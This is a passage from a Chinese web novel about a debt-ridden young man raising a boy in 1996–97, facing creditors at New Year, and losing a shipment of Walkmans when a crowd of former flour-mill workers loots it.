“我抱谁啊?”周瞳嫌弃地说,“拖着你这个玩意儿,对象也谈不上。”
“那就不要谈,”应不尘抱紧了周瞳,说,“做我一个人的哥。”
应不尘真是这样想的,他想赶紧长大,小小的实在太没用了。
“我老了你养呗。”周瞳闭着眼睛问。
“嗯,我以后挣的钱,有的东西,都给哥。”应不尘说。
“那感情好,”周瞳说,“祖坟冒青烟,养了孝顺娃。”
“我说真的。”应不尘贴着周瞳的脖颈,顺着勾着脖子。
“我也没说不是啊。”周瞳说。
“哥,要是你死了,我就不活了。”应不尘说。
“你讲话可真有福气,”周瞳笑着,“这么早就咒我死,不想养就直说呗。”
“哎呀哥!”应不尘急了,抬头来,板着周瞳的脸,问,“那我死了呢,哥,你自己一个人在世界上怎么办?”
“嗯,我掐着点死,”周瞳说,“你前脚走,我后脚嘎嘣就挂,我省的你惦记。”
“你瞎说八道。”应不锤着他胸口说。
“可不是你先瞎说的吗?”周瞳说,“行了祖宗,睡吧。”
22. 1996[2]
没钱给应不尘看病的那一夜,应不尘自己也不知道是怎么把烧退下来的,反正那天之后的周瞳感冒了好久,也是在这一年周瞳在舞厅里混的风生水起,音圈圈子里多了个特别会做生意的小年轻,那小年轻喝酒不要命,踩箱就是干,他说他欠了很多钱,还得养老养小,没功夫虚度光阴。
应不尘一样照顾周瞳。
周瞳的衣服扔那,应不尘总是习惯闻一闻,周瞳的衣服总是有酒味,烟味,香水味跟脂粉味,应不尘心里不舒服,扔着周瞳的衣服不愿意洗,但是没办法,不洗的话他就那么堆着,然后大声的嚷嚷没衣服穿了。
他还是臭美,照着镜子打扮,哼着小曲儿,白天他总是戴墨镜的,笑起来的时候跟当年在大货车上一样。
但是唯独与那时候不一样的是,他包里的钱未见多起来。
他就算拿命去干,但是依然挣不得多少钱。
面粉厂重新改革了,换了个老板,要账的人也会经常来,常常三回能拿到一次钱。
面粉厂觉得这样要不回来钱,在遣散工人的时候,没给他们工资,说周瞳没赔钱,发不出来。
这可就难受了。
从前应不尘去吃饭的时候,人家都是好吃好喝的供着,以为周瞳要攀上高枝,那会儿那帮工人谈论起周瞳的时候,三个不忿的,七个佩服的。
能吃苦,又聪明,善结人缘,一视同仁,谁家有点儿家里人要捎来这儿的,谁家有乡下农民瘦稻谷粮管所不收的,谁家孩子没工作想进运输队的,什么人没有找上过周瞳呢?
那会儿他们见了周瞳,长辈都要敬他的酒。
现在跟自己的遣散费搭上关系了,就什么恩仇都出来了。
应不尘回家的时候最怕有人站在门口,从前要债的还好,现在来的都是工人。
他们轮番地来,应不尘跟周瞳说,“要不,你别回家啦?”
“老爷们欠点钱有啥,”周瞳大大方方的说,“现在做老板的,几个不欠钱啊?”
周瞳虽然对应不尘这样讲,但是应不尘知道,周瞳都是骗他的。
周瞳用他的笔记本写字条,欠条,让他们算着时间来拿。
周瞳常常都挠头,一根接着一根地抽烟。
应不尘坐在边上的小板凳上不敢说话,他感觉周瞳在看他,他的耳朵都热了,他不怕周瞳骂他,怪他,他只怕周瞳出去当孙子还要回来哄着他。
周瞳说要去进货,省城的有音箱厂,专门倒腾那些贴标的音箱,他回来卖给那些店铺子,工厂,还有出去做戏的。
周瞳总是在笔记本上记电话,现在做生意要bb机了,周瞳在这方面还是有水平,一大堆的号码,他都能记得哪个是哪个,一点儿不出错。
要债的人还是来,拖家带口的,站在门外,应不尘木讷地给他们倒水,沉默,看着他们拿来的欠条。
逼一个小孩儿也没什么戏,这小孩儿也才四五年级。
只不过,这些东西成了常态的时候,任凭谁都会累。
“我新赊了一批,”周瞳吃着快餐,说,“这次的货不错,是你黄师傅爷爷介绍的,他从前开公交车的师傅卖的面子,现在的发烧友可多了,音乐这东西迟早要起来,以后人人身上都得带随身听。”
“你都不知道,现在随身听多好用,”周瞳一边吃着馒头,一边说,“我经常去的那个歌舞厅,人家弄了一块儿让我卖,现在卖东西也是讲究,现在省城的买法就叫分成,就是我让歌舞厅那帮小子帮我卖,卖出去一个我就给他们多少钱。”
周瞳对这事儿非常有兴致,喋喋不休的跟应不尘说,“现在那些高中生老时髦了,我去高中的学校门口卖呢,昨儿个,我带了个进去,就下课的时候别着溜达了一圈,好几个人来问。”
应不尘听入迷了。
周瞳说话其实经常东一榔头西一棒槌,逻辑这事儿跟他没关系,但是应不尘就觉得周瞳说话好听,说什么都好听。
那个晚上,周瞳对即将要到来的96年充满了期待。
“我可是去省城看了,现在那个带在耳朵上的,配一套,一套你知道能挣多少钱吗?”周瞳神秘兮兮的,一手筷子,一手包子,蘸着咸菜。
“多少?”应不尘问。
周瞳卖了个关子,说,“贴牌的,一个能挣100块。”
应不尘说,“这么多?”
周瞳得意洋洋,说,“你以为,叫爱华,洋得不得了,我认识的那帮败家子儿都寻着买呢。”
应不尘说,“那人家咋赊给你的?”
周瞳说到这里,干巴巴的嚼了一下,说,“黄师傅,我都没去瞧瞧他,说是知道我做这生意,没起色,老都老了,去求的老战友。”
周瞳说到这里低垂着眼睛,筷子也放下了,说,“我以为,他最烦我呢。”
“黄爷爷喜欢你,”应不尘摸着周瞳的膝盖,“他没来医院看你,我看见他了,他站在门口擦眼泪。”
1997的新年将要来的时候,汪奶奶把应不尘的户口上去她那,说的不好听的,以后汪奶奶的死啊活啊的,就靠应不尘跟周瞳的良心了。
周瞳搓着户口本,有点不愿意。
他也不敢去见汪奶奶。
应不尘说,“奶奶叫你去吃饭的,我今天在学校门口看见她了。”
周瞳在家从来也不喝酒的,今天破天荒的地倒了一杯,说,“没出息前不想去,不要老脸了。”
***
今天团年夜,已经1997了。
团年夜是要债的好时机,所以从早上开始就有络绎不绝的人来。
“小周,从前我们家,不说别的,对你家小尘,我们家丁丁吃不上的东西也要给你家的小尘吃,我总觉做人要有良心的是吧?你难,我们不难吗?丁丁他爸下岗了,我们连下个月的米都要我回去娘家借。”丁丁的母亲这样说。
周瞳的手指抠进了膝盖,说,“姨,我有了我头一个拿过去给您,行吗?”
“你倒是在外面花天酒地的,你到处去喝酒请客,你没钱给我们是吗?”丁丁的母亲说,“小周!”
周瞳的眼睛不好,一怔的时候容易看花眼,他搓了搓眼睛,说,“姨,给孩子的压岁钱备上了,缓我几天。”
要不着钱,丁丁的妈妈坐着哭,后面还有人。
“周哥,威哥拿着我们的钱,只给了你的欠条,这个债条子,我晓得从前你照顾我,可是我,我也要过年,我也...要回家的啊,回家能空手吗?”装卸工,从前在面粉厂的时候周瞳没少给他介绍活。
“嗯,知道。”周瞳说,“卖力气的都是辛苦钱,这点儿你拿着,买条烟。你缓我几天,有了我过去找你去。”
这儿还没送走,又来了。
老太太进来直接跪下了,“周老板啊!你叫我好找,我老头子,现在还在医院里,我们家里看病都掏空掉了,就是拿钱吊着的呀,救命钱!周老板!”
面粉厂的厂工,说实话周瞳眼睛散了瞳孔,已经没法儿辨认是哪个了,周瞳给她塞红包,说,“我回头有了送老爷子那去,辛苦您,您想想办法,我跟你一起,咱看看怎么弄。”
老太太将红包扔了出来,“天老爷啊,这么点钱都不够一天的药钱!我老头子都要死了还说你不能赖账的呀!周老板我求你了,老太婆求你了!”
周瞳沉默地将人扶起来,说,“奶,实在没钱,您家里头一起想想办法,成吗?”
老太太咒骂着,愤恨着,周瞳好像想起来,他的儿子去省城读书的时候,没钱,老头儿只是在食堂做活儿,打得最大的交道就是给应不尘塞了几个鸡蛋,拎着一条鱼就来借钱,几百还是一千,周瞳已经记不得了,那孩子想读书,周瞳借给他之后就撕了借条。
老太太刚走,门卫来了。
门卫叔说,“小周,我女儿要结婚的,我总不好拿着两张欠条给她结婚去,婆家本身也看不上她,小周,你给叔想想办法,行吗?”
“叔,我这儿这一排的人,我要有法子他们也不能站在这里了。”周瞳给他兜里塞红包,说,“叔买条烟抽抽,新年好。”
门卫叔踌躇了一下,说,“你汪奶...”
周瞳一记眼刀,本就有伤的眼睛看起来跟鬼魂一样。
周瞳叹了口气,说,“我奶就自己一个人,七十来岁了,兜里就一点买菜钱,叔,我能去死,我奶欠我啥了?”
各人有各人的难处。
挨个儿来。
有人说家里老母重病,有人说家中老婆怀孕。
有人哭诉要钱回去还丈夫的赌债,有人说求你了年夜饭的钱都拿不出来。
周瞳坐在凳子上,面前就不断不断地换人。
周瞳从最开始好声好气到最后沉默不语。
这个钱,实在太难要了。
他们站在地下室外面,在窗户口撒尿,说,“这辈子还能还吗?”
“费劲,瞎了一只眼,带着一个孩,咋弄能还上?”
“本来还说找个有钱老婆,现在也费劲了。”
“得了,走吧走吧,指望不上。”
应不尘站在他身后,每一句话都听得清清楚楚,无力感遍布了身上的每一寸。
天渐渐夜了,街上张灯结彩,恭贺新年,而寂静的半地下室里,唯有滴水不算钱的水龙头在发出声响。
周瞳让应不尘一个人拎着东西去看汪奶奶,自己也没去,待在半地下室,说要睡觉。
应不尘知道,周瞳怕汪奶奶心疼他,一心疼,哥就垮了。
汪奶奶自从汪爷爷走了之后,就没什么精气神了,除了来学校见一见应不尘之外,也很少再出门了。
“奶奶。”应不尘洗着菜,欲言又止。
“你哥呀,”汪奶奶倒是觉得没什么大不了的,“还是脸皮薄。”
“别人都说我哥厚脸皮。”应不尘说,“这一年这样说他的人太多了,我听的耳朵都起了茧了。”
“你哥,估计偷摸去黄师傅那里了。”汪奶奶说,“咱不管他,我跟你过年。”
“真的?”应不尘问。
“按照我对这小子的了解,”汪奶奶说,“你哥又要哭鼻子咯。”
“奶奶,你当时为啥捡我去读书?”应不尘问,“我跟我哥,一看很麻烦。”
“你听实话啊?”汪奶奶问。
“嗯。”应不尘说。
汪奶奶咯咯笑,应不尘不知道她笑什么。
她笑够了,说,“从前啊,我跟你爷爷呢,怀上了一个孩子,我就跟你爷爷说,这孩子要是像他的话,太古板了,没什么意思。你知道你爷爷说啥吗?”
“说啥?”应不尘问。
“你爷爷说啊,”汪奶奶笑着讲,“他从前有个学生,特别气人,人又聪明,就是不好好念书,家里没人管,成了个混子了,看见你爷爷就骂他。”
“你爷爷的性格你还不知道?正得都不行了,骑着自行车就要追着这个孩子打,要揪着他回来教育,结果呢,”奶奶抬起头说,“那会儿人太穷了,吃不饱,饿死的都有,上来一帮流氓,就要抢你爷爷的钱。”
“那个坏学生一下子就回来了,拿着刀叫他们都滚开。”奶奶说,“从那时候开始,你爷爷想要的孩子,就是顶天立地的孩子,跟你哥哥一样的好孩子。”
应不尘不敢问后来,后来显而易见。
饭菜上桌的时候,汪奶奶还是多摆了一副碗筷,刚落下,周瞳还是来了。
他穿着个黑色的薄薄的衣服,背好像都弯了,拎着几根甘蔗,连根都还在,一看就是从地里偷出来的。
上门就不空手,这是周瞳的形式准则,哪怕偷甘蔗,哪怕这甘蔗老太太都快咬不动了。
汪奶奶没看他,说,“洗手,吃饭,过年了。”
电视台又在放联欢晚会,去年的联欢晚会周瞳雄赳赳气昂昂,买的礼品都
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堆了半个沙发。
“哥,吃饭。”应不尘说。
周瞳嗯了一声,他头发长了,遮住了眼睛。
“我这儿...”汪奶奶还没说话,周瞳就一句“不要。”打断了她。
他太知道奶奶会说啥了。
周瞳的筷子戳着米饭,说,“奶,您的棺材本我再拿的话,我怕我死了爷都看不上我。”
汪奶奶不说话了,戳着米饭,叹了口气,才一年,汪奶奶的白头发都多了一大半。
周瞳往嘴里扒拉米饭,干巴巴地说,“奶,您别可怜我,成吗?”
“我不可怜你,”汪奶奶吸了口气,说,“奶奶等着,等你站起来,实在不成,就回家来。”
应不尘趴在桌子上,不知道说什么。
电视台的小品还在播放,一点儿也不好笑。
应不尘还小,明年他才上五年级。
周瞳吃完饭,就进去点了香,插在爷爷的炉子上。
周瞳就坐着,对着汪爷爷的黑白照片发呆。
周瞳看见了茶几下面还有垃圾桶都有药品的说明书跟盒子,周瞳有点儿着急了。
应不尘洗完碗再转过头去看的时候,小品还在放,周瞳靠在沙发上睡着了。
12点的烟花一年比一年盛大,烟花也做的越来越厉害,外面都是小孩子的跑动声,拜年声,小孩儿最喜欢过年,但是应不尘真的不喜欢过年了,过年的时候要被要债,被要债是这个世界上最说不出口的难捱,纵是一个厚脸皮,一个小孩子,都挂在心上了。
烟花又炸开了,应不尘捂住了周瞳的耳朵,不想让他醒。
周瞳已经很久很久,没有好好睡一觉了。
但是烟花太闹人了,周瞳还是醒了,之前觉得周瞳太瘦了,去年还稍微胖了一点儿,今年就瘦得都要脱相了。
二人一起依偎在沙发上,应不尘玩着周瞳的手指,不想重复那些无聊的问题。
“哥。”应不尘喊了一声。
“嗯?”周瞳懒懒地应着。
“哥,爷爷从前说,胜不骄败不馁,写了一副字,你还记得吗?”应不尘问。
“我做不到,”周瞳说,“胜了我就骄,他妈的老子这么苦,总算成了一把还不骄我等啥呢?”
应不尘又笑了,说,“从前别人说你小人得志,我跟着你鸡犬升天。”
“我就小人,”周瞳说,“我就得志,我就嘚瑟。”
“哥,我觉得你厉害,”应不尘说,“等我到你这么大的时候,会有你厉害吗?”
“你说二十二啊,”周瞳说,“我想想。”
周瞳说,“按照你现在这样读书,二十二书读完了吗,咱两的路数不一样,你呢,就脸皮薄一点算了,脸皮薄的人就体面些。”
“我要是跟你一样厚脸皮呢?”应不尘问。
“那就完蛋了,”周瞳笑着去点他的脸,说,“要是厚脸皮,那更好了,厚脸皮比薄脸皮得着的东西更多。”
“真的?”应不尘问。
“真的。”周瞳说,“我跟你说,只要不要脸,铁棒磨成针。”
周瞳说着说着又闭上了眼睛。
应不尘说,“哥,你累吗,你累了就靠我身上睡一会儿。”
周瞳靠在应不尘的腿上,说,“小崽子长大了,知道心疼人。”
“我怎么就不心疼人了?”应不尘玩着他的头发,说,“我一直心疼。”
“放你妈的屁,我在外面累死累活的,”周瞳说,“回家你倒是给我摆起脸色来了。”
“我没有。”应不尘说,“那是!那是!”
“那是啥?”周瞳问。
“那是那会儿,”应不尘耳朵都红了,“怕你忙着忙着,就把我忘了。”
“虽然吧,我也是为了我自己,但是在这里面,还是重要的。”周瞳看着天花板,说,“你闹得最厉害的那一回,说我去找大房子了,你记得吗?”
“嗯。”应不尘说,“记得。”
“我想给你买房子,”周瞳说,“给你个家。总是让你守着那堆垃圾,哥觉得自己没出息。”
“那是房子,”应不尘说,“我们上学可教了,房子跟家不一样。”
“哪儿不一样了?”周瞳问,“房子不就是家吗?”
“才不是,”应不尘说,“铁皮房,车库,半地下室,你在里面,就是家了。”
“那我买了房子我不住啊?”周瞳说,“你可真有意思。”
应不尘又笑了,两个人挨在一起。
“哥急啊,”周瞳拉着应不尘的手,“人家来要债,都是工人本来也没多少钱,要是老板来要债,我才不着急,就是都是工人,我才着急。”
周瞳捂上了眼睛,说,“世界上,又不止我们可怜。”
应不尘捂着周瞳的眼睛,说,“哥,我为啥还不长大?”
“长大有什么好的,”周瞳嗤了一声,说,“不长大才好呢。咱俩要是换个个儿,你就往死了给我挣钱吧,你就往死了惯着我呗。”
应不尘低垂着眸子,说,“我之前看的动画片,葫芦娃那个,小蝴蝶为了保护葫芦娃死了,我什么时候才能保护你呢?”
“你现在的工作重心啊,就是给我把你的那些数学公式学明白,”周瞳说,“少看电视。”
“我没看电视了。”应不尘说。
“我知道,因为我买不起。”周瞳说,“钱都叫我造了,连个电视也没给你买。”
“我才不要那玩意儿呢,”应不尘说,“影响我的工作重心,你有钱也不叫你买。”
“买不起,跟能买不要是俩码事我的傻弟弟。”周瞳真的累了,调了面,挨着应不尘的肚子睡。
应不尘打开寒假作业,分辨成语跟汉字组成词,上面的「年少有为」算不算成语。
应不尘看着周瞳的脸,觉得这不算一个成语,算一个魔咒。
***
23. 1997[1]
周瞳忙着捣鼓随身听,在外面签单子,有时候忙的顾不上,怕家里还有个小人儿等他,就淘了个二手的bb机给应不尘。
但是bb机里基本就是周瞳的,也没别的,一般就说不回来吃饭。
应不尘就不太给周瞳呼,因为这个东西需要打电话给寻呼台,然后留言让他回电话,应不尘觉得麻烦,更怕周瞳嫌他麻烦。
应不尘在这一年疯狂的窜了个子,养不大的生锈的钉子开始长高了。别人都说这个阶段的孩子得养好,不然长不起来个子以后谈不上朋友,小孩儿就怪罪人了。
这时候的鲜牛奶成了俏货,周瞳算着钞票,又看了看应不尘蜡黄的脸,这小孩儿咋给摧残成这样子。
“少抽几包烟”的决心下,周瞳给应不尘定了每天的鲜奶,还为此斥巨资买了个冰箱,虽然是二手的,这玩意儿都得是结婚的时候的嫁妆,没别的,应不尘节俭,菜都馊了,他要是一个人在家就吃,这个半地下室存不来东西,都叫周瞳撞上好几次了。
应不尘十二岁了,很多同学都已经因为家里没钱不读书了,他们各有出路,有的说回去种花生,有的说回去弹棉花,有的说跟家里出去学做墩子,开饭店去,现在外地开饭店可挣钱了。
应不尘不敢想,周瞳说,他还小,家里有他就够了。
十二岁的应不尘也想挣点钱,给周瞳减轻点负担,虽然周瞳打理着头发说,“有哥在,用你心思钱呢?”
“哥跟你说,上次我跟你说的那事儿,那随身听,”周瞳吃着挂面,“黄师傅的战友已经给我弄过来了,我都不敢找从前的那些开大车的。”
“那哥要挣钱啦?”应不尘问。
“那跟你俩开玩笑呢?”周瞳说,“我是谁?”
“能挣多少钱?”应不尘问。
“约摸不少,”周瞳就着点咸菜,说,“我问了黄师傅了,他那个战友的货款可以晚两个月结算,我拿这个钱再倒一阵。”
“哥,你真是厉害!”应不尘说。
“这玩意儿跟车不太一样,”周瞳说,“分废的,就是火车站便宜卖的,就一个壳子,他给你听的是好的,拿回去就是坏的,这种利润高,但是我不干这磕碜让人戳脊梁骨的事儿,接着呢就是二手的,二手又分翻新的,跟换配件二手,这俩我能折腾,就是眼睛看不清,总是摸不出来。最后就是倒那个贵的,时俏的,就是你黄师傅给我找的这一批。”
“黄师傅好厉害!”应不尘说。
“唉,这批好像是被扣押的,对面不交款子,就这么一直耗着,现在时间到了,这种一般都要不到,满着价卖。”周瞳说,“你黄师傅这辈子估计都没求过人。”
“哥,那你都已经找完销路啦?”应不尘问。
周瞳一笑,说,“那可不,我单子都签了,就拿着去送货就成。”
“宝贝儿。”周瞳抱着他,说,“过几天,等哥进一批二手的,找个厂子翻翻,再卖一茬,然后给黄师傅战友货款结算,咱就一块儿去谢谢黄爷爷,行不?”
吃完饭,桌子上的碗还散着。
应不尘久违地高兴了,躺在床上,给周瞳梳头发,周瞳闭着眼睛,两人有一搭没一搭的聊天。
“哥,”应不尘说,“我在学校好好读书了。”
“你学校里的人对你咋样?”周瞳问。
“还好,”应不尘说,“反正我也不喜欢交朋友。”
“你为啥不交朋友啊。”周瞳问。
“我有哥就够了,我的工作重心是读书,不是交朋友。”应不尘一板一眼的。
“哟。”周瞳说,“过来我看看,哎哟,我都要抱不动了。”
周瞳的侧躺着,手指在应不尘的脑袋上打转儿,说,“瞧你那牙刷是不是不好用,没有以前省城带回来的好用啊,看你都没好好刷。”
“牙疼就乱刷。”应不尘说。
“牙补了还疼?”周瞳问。
“没有,不疼了。”应不尘呲牙,说,“都长好了。”
“那就行,”周瞳说,“你瞧瞧我这大白牙,你一点儿不像。”
“我又不是你生的,肯定不像。”应不尘说。
“那你希望你是我生的不?”周瞳问。
应不尘看了看周瞳,犹豫了一下,说,“不想。”
“不想跟哥当一家人是不。”周瞳逗他,“哥没钱了,你也嫌弃是不,小白眼狼。”
应不尘坐起来,一头毛软塌塌的,乱糟糟的,说,“ 不是!是我觉得,要是我是你生的,你对我好就是应该的,但是我不是你生的,你还是对我好,那就是我运气好,也是哥太好了,我要感恩,要记牢。”
“哪儿来的一套套的。”周瞳说,“你这小子,以后谈恋爱可是能哄小姑娘了。”
“哥,”应不尘又躺下来,把腿挂在周瞳的腰上,问,“别人都说你特别会哄女人,你知道不?”
“我没觉得那是哄,”周瞳说,“我也没骗过女人。”
“那哥,人家这么说,你肯定就是很会说话了,”应不尘问,“你教我吗?”
“你特么一个小学生,你学哄女人,你要死咯应不尘,你现在工作重心可不包括给小女孩儿写情书。”周瞳说。
“那你到底是咋了女人,别人都这么说?”应不尘问。
“我也不知道啊,”周瞳说,“你看旺旺饭店的阿姨,凶不凶?”
“凶。”应不尘说,“她说话跟打仗似的。小眼镜说听她说话胃口都倒了一半。”
“那老板娘心眼最实,当时我让她来我厂子里干食堂,她跟我说,她知道我是对她好的,但是在厂子里就不一样了,还有钱来往,好好的感情干个食堂就消磨掉了,说我带着风子他们去吃吃饭就成,恩情的东西,就让它留在那,咱别给整坏了。”周瞳说,“越凶的女人,可能你碰到那一块了,她心就软了。”
“女人呀,她最能分辨你说的真话还是假话,那你就都说实话,”周瞳说,“人想要啥,你给啥,实在没东西给了,就立正站稳,咱不逃避,该认错就认错。”
“我觉得着吧,有时候三分难的事情你说七分,七分难的事情你说十分,”周瞳说,“那女人就更买账,比如我现在给姑娘买一束家楼底下的花,跟去了某某那特意好远排队去的,人家不就觉得你真心实意了么。”
“那十分难的事情呢?”应不尘问,“说几分?”
周瞳摸着他的脑仁,说,“十分难的事情,你就跟她说,一点儿事儿都没有,别担心,有我呢。”
“那要是弄不了呢?”应不尘问。
周瞳说,“这就涉及到一个态度的问题了。这件事很难,大家都知道,但是我十分难的事情,十二分努力去做,哪怕不成功,别人会怪罪你,女人不会,人家就要个态度,比那些臭老爷们好多了。”
“哥,你现在就是十分难的事情,在跟我说没事吗?”应不尘问。
“你是女人啊?”周瞳说,“你给我看看,你是女人不?”
周瞳挠他痒痒肉,两个人嬉笑在床上。
“哥,我们今年会好起来吗?”应不尘问。
“会,”周瞳拢着他,让他趴怀里,说,“等那一批到了,哥跟你一块儿去取,你给哥看路,行不?”
“嗯!”应不尘说。
“哥?”应不尘喊了一声。
“咋呀。”周瞳有点犯困了。
“要是我以后没出息,你会烦我吗?”应不尘问。
黑暗里周瞳嗤了一声,“要是我没出息,你会烦我吗?”
应不尘说,“会吗?”
周瞳问,“会吗?”
应不尘听懂了,说,“我不会。”
周瞳说,“那你还问。”
应不尘躺端正了,小电风扇呼呼地吹着。
应不尘说,“哥。”
“咋呀,小碎嘴。”周瞳迷瞪着。
“我觉得没钱也挺好的。”应不尘说,“因为我不用再一个人睡觉了,我问我同学,他们还跟爸爸妈妈睡觉,有自己的房间了都要回去睡在一起,我就没有,我有时候半夜醒了一个人也害怕。”
“那你害怕了,半夜醒了咋办?”周瞳问。
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“抱着你的衣服,边上都围起来,但是有的衣服你喜欢,不能弄皱巴巴了,”应不尘说,“有的衣服你不穿,没你的味道了,有一件衣服上面有钉子,也不行。”
“哥现在没衣服了,”周瞳说,“上次去厂子那边,就剩下个军大衣了,给那扔着呢,我给拿回来了。”
“哥,我觉得你穿那个军大衣比其他的衣服好看。”应不尘说。
“屁,你那是没腔调,腔调知道不?”周瞳说,“军大衣有啥腔调。”
“哥,”应不尘摸着周瞳的手指,说,“我以后长大了,给你当狗使唤。”
“现在不也当狗使唤呢?”周瞳说,“我到现在,我是连我自己的内裤都没洗过。”
“我洗就行了,你忙。”应不尘说。
“我不忙的时候也不洗,”周瞳说,“给人洗头之后,就特别讨厌洗东西,洗那些狗毛给我洗恶心了。”
“那就不洗,我洗。”应不尘说。
“那你长大了,我特么的我还找你洗啊?”周瞳说。
“嗯!”应不尘说,“我洗。”
“真傻。”周瞳说,“内裤头子洗的你还信心满满的,得意起来了。”
“嗯!”应不尘说。
“那你以后成了老板了,然后我混吃等死的时候呢?”周瞳逗他。
“也我洗。”应不尘说言之凿凿。
“谁家老板蹲在卫生间给人洗内裤,”周瞳说,“人家笑话你。”
“不让别人洗,只能我洗。”应不尘说。
周瞳被逗乐了,瞌睡醒了一半,说,“傻不傻。”
“哥,我那个书,说,救命之恩,养育之恩,要以身相许。”应不尘说,“别人的!上课在看,叫我一起,我就看了一点点。”
“那是漂亮的小姑娘看上人家了,才去说以身相许。”周瞳说,“学个词就乱用,小心你汪奶奶蹦起来打你。”
“你开汪奶奶玩笑,我可会跟她告状的。”应不尘说。
“最近去看你汪奶奶了吗?”周瞳问。
“看了。”应不尘说,“我陪她去医院,我帮她拿东西,她打盐水我也看着了,我还掖被子。”
“真懂事,”周瞳说,“我的宝贝儿,真招人喜欢。快睡觉吧,你还读书呢,然后我去接货的时候叫你一起,我们开开眼,行不?”周瞳轻轻地拍着他,应不尘一会儿就睡着了,睡着了抓着周瞳的手指。
这几天应不尘心情好,不禁哼起了小曲。
周瞳的货快到了,最近去歌舞厅跟高中门口,还有音像店去的更勤快了,周瞳叼着根烟,蹲在路边算账,约摸卖出去了八成,现在的现货卖也不成问题。
烟雾熏人眼睛,周瞳眯着算账,这次的货差不多能九万块钱,倒腾一圈到手里能有十二万,剩下的三万能让黄师傅分辨一下面粉厂的工人哪些是真的困难,就还上一些,然后留这十万块钱再进一批二手的,再卖一次。
吃饭的时候,应不尘问,“哥,你是不是该买件衣服啦?”
周瞳说,“人长得帅,穿啥都一样。”
应不尘说,“那倒也是。”
应不尘说,“哥哥,你之前野炊你记得吗?那会儿你请我们整个年级的都吃羊肉串,我的同学说你又帅又有钱,像电影明星。”
“那玩意儿,”周瞳说,“随便长长,随便穿穿。”
“我长大了会帅吗?”应不尘问,“哥像我这么大的时候也这样吗?又瘦又矮。”
“差不多。”周瞳说,“我刚来的时候你忘记啦?我们在车上碰到,不是,你死皮赖脸堵我的时候?”
“我觉得没变化。”应不尘说,“你好像一直就长这样,就是老换头型。”
“那你觉得哥哪个头型好看?”周瞳问。
“黄头发的时候。”应不尘说。
“那个不好看,一个黄毛,看着就不靠谱。”周瞳说,“而且头可痒了,不知道给我用的什么卵东西。”
“我那时候,好远。一抬眼,我就能看见你,”应不尘说,“你跟所有人都不一样。”
***
24. 1997[2]
货物今天就会到了,周瞳牵着应不尘,在一个音圈厂的后面,腾出一块地方放货,防水布跟木箱子都弄好了,周瞳还买了把大锁。
车开进来了。
周瞳与应不尘上去迎,却突然来了一大帮人!
男人拿着铁锹,锄头,女人都拿着蛇皮袋,
周瞳还没反应过来怎么回事众人就已经开始哄抢!
周瞳跑着上去拦,去夺,喊道,“这是我赊来的!我真是赊来的,我卖出去了才能挣钱!”
应不尘也去抓他们,纸箱子太脆了一下子就绷了,你争我夺的众人压根不管,男人们拿铁锹也不敢真的下手,围着车不让周瞳再靠近,周瞳奋力去挤,也压根也挤不进去。
“周老板!你就给我们钱吧!”老汉喊道。
“去报警!去报警!”周瞳对着应不尘喊。
“抓住他!”有女人说,“警察来了都让他拿回去了!”
有几个男人女人去抓应不尘,应不尘摔在地上,被他们抓住了脚踝。应不尘拳打脚踢,一直揣着对面人,他的手到处乱抓,又在黑暗里逃了出来,他继续跑,他要去报警,他要找警察守住周瞳的东西,他哥哥真的不能再被他拖累了!
应不尘继续往前跑,后面还是有人在追,应不尘边跑边喊,“着火了!着火了!快报警!着火了!”
有人探出窗户看,应不尘哑声喊着,“快帮我报警,着火了!”
周瞳还在死死抓住最大的那个蛇皮袋,他被人家用铁撬两侧抵着,夏天,穿的少,胳膊都割破了皮肉。
女人们背上蛇皮袋,抓着抢着,都跑了。
男人们也害怕,他们最后把铁撬扔在周瞳的身上,也跑了。
等应不尘回来的时候,还剩下一地的纸板箱,还有周瞳手里的一个随身听。
周瞳进了局子。
应不尘已经大致上讲清楚了,周瞳就坐在铁皮椅子上搓手。
今天本来要来提货,应不尘还特意洗了衣服。
但是现在浑身褴褛,没样了。
手臂上的一些擦伤都不算严重。
周瞳听出来了警察的意思,轻声了叫声,“小尘,走吧。”
总是法不责众,总是可怜人为难可怜人。
欠钱在先,什么理都没用。
他们在夜里围住了脸,也没法找。
应不尘的脸也坏了,在地上摩的,手关节跟膝盖都烂了。
周瞳一瘸一拐地牵着一瘸一拐的应不尘回家。
应不尘抿紧了嘴唇,他跑得嘴里都发苦,脑子都感觉没氧了。
周瞳一肚子的心事,不但没挣到钱,还欠了黄师傅的战友一大笔钱。这怎么跟黄师傅交代。
二人到家了,家门口被扔了很多垃圾。
应不尘跳着脚,一边流眼泪,一边把垃圾往袋子里装。
周瞳蹲在他边上,说,“去坐着吧,哥弄。”
“你不会,”应不尘说,“你不知道扔那里,哥,你坐着吧,我一会儿,我一会儿...”应不尘擦了一把眼泪,说,“一会儿我就收拾好了。”
周瞳最后拿笤帚扫了,扔在外面。
“给你洗洗。”周瞳放水,虽然是夏天,但是这种井水还是有点冷。
应不尘过来,周瞳把他的衣服剪了,扯着血肉的,问,“疼不?”
“不疼。”应不尘抿着嘴。
“咋不好好说话,老咬牙呢?”周瞳问,“张开嘴我看看。”
应不尘不愿意,周瞳的说,“赶紧。”
掉了一颗门牙。
周瞳低着头,说,“过来洗。”
冷水淋在身上,周瞳蹲在地上给他擦干又涂了紫药水。
“疼不?”周瞳问。
“不疼。”应不尘说。
擦干净了之后应不尘坐在外面,那个一个帘子就算的卫生间,应不尘也不知道他坐了多久。
反正就是天都快亮了。
***
第二天,应不尘还是照样去上学。
同学们也没人问。
一天应不尘都在担心周瞳,早上出来的时候他就感觉周瞳在装睡。
他签出去的单子能退就还好,不能退的还得赔钱。
黄师傅的战友那里又该怎么办。
放学回来应不尘站在外面看着周瞳,他双眼猩红,沉默地一根一根地抽烟,窗户上有八根铁铸的铁条,看过去,好像周瞳就在一座牢狱里。
应不尘责难了自己不知道多少次,他在噩梦里,黑猫警长追着他,质问他,纵火犯,我要枪毙你。
应不尘推门进来,周瞳又挂上了笑脸,说,“今天咋没去看奶奶?”
汪奶奶今天应该要去医院的,应不尘这个点应该在她病床前看书。
“没去,”应不尘放下书包,说,“怕你没吃饭。”
“你有功夫多去看看你奶奶。”周瞳说,“别跟她说我的事,要是她知道了,我饶不了你。”
应不尘点点头,奶奶真的再也经不起事情了。
难得的以为要天明的气氛戛然而止。
“我跑得不够快。”应不尘说,“对不起,哥。”
“有你啥事儿,”周瞳说,“我自己不够谨慎,签单子的时候用了我真名。”
周瞳说,“过来。”
应不尘过去了。
负伤的二人一起听随身听。
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“阳光总在风雨后,请相信有彩虹。”
“风风雨雨都接受,我一直会在你的左右。”
